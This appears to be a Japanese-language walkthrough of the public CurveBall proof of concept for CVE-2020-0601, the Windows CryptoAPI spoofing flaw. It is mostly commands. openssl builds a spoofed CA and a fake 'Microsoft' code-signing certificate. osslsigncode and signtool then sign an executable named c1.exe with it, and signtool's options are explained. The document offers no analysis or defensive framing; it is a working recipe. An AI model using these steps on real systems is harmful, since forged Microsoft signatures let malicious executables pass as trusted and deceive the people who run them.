
CVE-2020-0601 の PoC - Windows CryptoAPI (Crypt32.dll) POC: https://github.com/ollypwn/CurveBall
kali 上で: 1.PKCS12 ファイルを作成する
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out Microsoft.key
openssl req -new -key Microsoft.key -out Microsoft.csr -config openssl_cs.conf -reqexts v3_cs
openssl x509 -req -in Microsoft.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out Microsoft.crt -days 50000 -extfile openssl_cs.conf -extensions v3_cs
openssl pkcs12 -export -in Microsoft.crt -inkey Microsoft.key -certfile spoofed_ca.crt -name "Code Signing" -out Microsoft.p12
2.ファイルに署名する:
osslsigncode sign -pkcs12 Microsoft.p12 -n "Signed by DiDi" -pass 123 -in c1.exe -out c1_Microsoft_signed.exe

3.Windows 上で signtool を使用してファイルに署名します。場所は "C:\Program Files (x86)\Microsoft SDKs\ClickOnce\SignTool\signtool.exe":
signtool sign /v /f Microsoft.p12 /tr http://timestamp.digicert.com /as /fd sha256 /p 123 c1.exe

signtool.exe のグローバルコマンドオプション: /v コマンドの実行が成功したかどうかに関係なく、詳細な出力を表示し、警告メッセージも表示します。 sign コマンドのオプション: /f ファイル内の署名証明書を指定します。ファイルが個人情報交換 (PFX) 形式でパスワードで保護されている場合は、/p オプションでパスワードを指定します。ファイルに秘密キーが含まれていない場合は、/csp と /kc オプションで CSP と秘密キーコンテナー名を指定します。 /tr RFC 3161 タイムスタンプサーバーの URL を指定します。このオプション(または /t)が存在しない場合、署名ファイルに対するタイムスタンプ操作は実行されません。タイムスタンプ操作が失敗した場合は、警告が生成されます。このオプションは /t オプションと一緒に使用することはできません。 /as この署名を追加します。プライマリ署名が存在しない場合は、代わりにこの署名がプライマリ署名になります。 /fd ファイル署名の作成に使用するファイルダイジェストアルゴリズムを指定します。デフォルト値は SHA1 です。 /p PFX ファイルを開くときに使用するパスワードを指定します。(/f オプションで PFX ファイルを指定します。)